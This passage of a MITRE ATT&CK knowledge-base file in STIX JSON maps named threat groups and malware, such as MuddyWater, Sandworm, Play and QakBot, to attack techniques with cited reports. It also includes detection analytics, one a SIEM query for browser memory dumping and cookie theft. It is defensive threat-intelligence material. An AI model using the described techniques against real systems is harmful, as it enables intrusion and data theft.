Covenant)","relationship_type":"uses","source_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2302de7d-8c9a-4a92-93d3-e4b00c40b22d","created":"2024-01-11T20:14:42.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T20:59:01.159Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can forward TCP packets between the C2 and a remote host.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2303e878-ce48-459d-a5da-256142e2bfd8","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:23:59.578Z","description":"Monitor for attempts by programs to inject into or dump browser process memory.\n\nAnalytic 1 - Unauthorized access or injection into browser processes.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4688 OR EventCode=4663) OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 OR EventCode=10) OR\n(index=os sourcetype=\"linux_secure\" action=\"execve\" OR action=\"ptrace\") OR\n(index=os sourcetype=\"macos_secure\" event_type=\"execve\" OR event_type=\"ptrace\") OR\n(index=gsuite sourcetype=\"gsuite:admin\" event_name=\"LOGIN\" event_type=\"cookie_auth\") OR\n(index=o365 sourcetype=\"o365:management:activity\" Operation=\"UserLoginViaCookie\")","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23041edc-3136-49b7-8d08-311321455aa7","type":"relationship","created":"2021-09-07T13:50:36.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:09.740Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has used dynamic DNS services to set up C2.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2305a634-b226-4da2-a766-bec5458f9447","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky MuddyWater June 2019","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020.","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Securelist MuddyWater Oct 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/"},{"source_name":"Unit 42 MuddyWater Nov 2017","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"},{"source_name":"Anomali Static Kitten February 2021","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"},{"source_name":"Proofpoint TA450 Phishing March 2024","description":"Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"},{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T19:41:57.125Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)\t(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Proofpoint TA450 Phishing March 2024)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--230f8736-0a83-4a6d-96db-ed88188e37d2","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor newly executed processes that may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--230fb134-db80-490d-9c00-5039487d5903","type":"relationship","created":"2019-09-13T13:40:47.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-09-13T17:14:47.809Z","description":"Once a file is uploaded, [Machete](https://attack.mitre.org/software/S0409) will delete it from the machine.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2310666c-87e1-45ae-bac8-2255215e858a","created":"2024-08-26T18:07:56.638Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:07:56.638Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) delivered payloads using multiple rounds of obfuscation and encoding to evade defenses and analysis.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2310e7b8-a4c7-460d-a89d-8d5854c59a44","created":"2022-07-25T17:50:47.801Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mongall](https://attack.mitre.org/software/S1026) has the ability to decrypt its payload prior to execution.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T17:50:47.801Z","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2311b504-e0c3-4594-8174-f9ce86941bc3","created":"2022-10-04T22:07:20.071Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T22:07:20.071Z","description":"[SUGARUSH](https://attack.mitre.org/software/S1049) has used port 4585 for a TCP connection to its C2.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--44e2a842-415b-47f4-8549-83fbdb8a5674","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2311db5c-218f-44f8-aa50-3e8322b79081","type":"relationship","created":"2020-06-10T19:35:58.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"iSight Sandworm Oct 2014","url":"https://web.archive.org/web/20160503234007/https://www.isightpartners.com/2014/10/cve-2014-4114/","description":"Ward, S.. (2014, October 14). iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign. Retrieved June 10, 2020."},{"source_name":"TrendMicro Sandworm October 2014","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/","description":"Wu, W. (2014, October 14). An Analysis of Windows Zero-day Vulnerability ‘CVE-2014-4114’ aka “Sandworm”. Retrieved June 18, 2020."},{"source_name":"McAfee Sandworm November 2013","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs-detects-zero-day-exploit-targeting-microsoft-office-2","description":"Li, H. (2013, November 5). McAfee Labs Detects Zero-Day Exploit Targeting Microsoft Office. Retrieved June 18, 2020."}],"modified":"2020-06-18T20:24:20.611Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has exploited vulnerabilities in Microsoft PowerPoint via OLE objects (CVE-2014-4114) and Microsoft Word via crafted TIFF images (CVE-2013-3906).(Citation: iSight Sandworm Oct 2014)(Citation: TrendMicro Sandworm October 2014)(Citation: McAfee Sandworm November 2013)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23149a27-cccf-4fb4-bc35-fc4ebf4c6664","type":"relationship","created":"2021-09-22T22:05:47.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Sliver File System August 2021","url":"https://github.com/BishopFox/sliver/tree/master/client/command/filesystem","description":"BishopFox. (2021, August 18). Sliver Filesystem. Retrieved September 22, 2021."}],"modified":"2021-10-16T02:20:34.770Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can enumerate files on a target system.(Citation: GitHub Sliver File System August 2021)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2315fa7f-2161-45c1-9f23-d47a96488465","created":"2022-08-15T17:07:19.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:43:42.498Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) can encrypt C2 traffic using XOR with a hard coded key.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--231dc643-8b22-4a24-83f2-7327a1c5bd13","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2019-04-22T23:25:33.622Z","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about the OS.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--231ed92a-eb30-453c-b808-495807e54857","created":"2024-09-25T17:05:16.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-30T17:18:13.400Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used WinSCP to exfiltrate data to actor-controlled accounts.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23206fb2-51fb-4bdb-810d-4f719f7dead8","created":"2020-11-09T14:54:54.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Kimsuky November 2020","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.409Z","description":"(Citation: Cybereason Kimsuky November 2020)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"tool--c9703cd3-141c-43a0-a926-380082be5d04","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2325c0b2-fb89-44e1-9206-e495811f2907","created":"2017-05-31T21:33:27.066Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyDelta-Two contains a function that attempts to rename the administrator’s account.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)","modified":"2022-07-28T18:55:36.001Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23261347-60b6-446b-8eac-4168a7a8e8a8","created":"2024-08-14T22:22:17.616Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:22:17.616Z","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) modifies Windows tasks on the victim machine to reference a retrieved PE file through a path modification.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2329d963-f01b-46bd-8868-99cf436a508a","created":"2020-06-22T14:58:06.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Skidmap","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:06:42.854Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has encrypted it's main payload using 3DES.(Citation: Trend Micro Skidmap) ","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2329e6c4-5462-4d14-9a50-2d9272f83a09","created":"2024-03-05T18:49:56.978Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T18:49:56.978Z","description":"[WIREFIRE](https://attack.mitre.org/software/S1115) can decode, decrypt, and decompress data received in C2 HTTP `POST` requests.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--232c3c4a-8af5-404d-9b72-ac07b81c1b0e","type":"relationship","created":"2021-09-27T20:33:31.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."},{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T15:45:57.762Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use large file sizes to evade detection.(Citation: Trend Micro Qakbot May 2020)(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2332793b-afd0-407b-a1dc-97c5c7580bcb","type":"relationship","created":"2020-06-25T17:48:41.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Windshift August 2018","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf","description":"Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."}],"modified":"2020-06-25T17:48:41.195Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used links embedded in e-mails to lure victims into executing malicious code.(Citation: SANS Windshift August 2018)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--233d1a32-f826-4705-a535-806edee8a5aa","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.608Z","description":"[CozyCar](https://attack.mitre.org/software/S0046) uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.(Citation: F-Secure 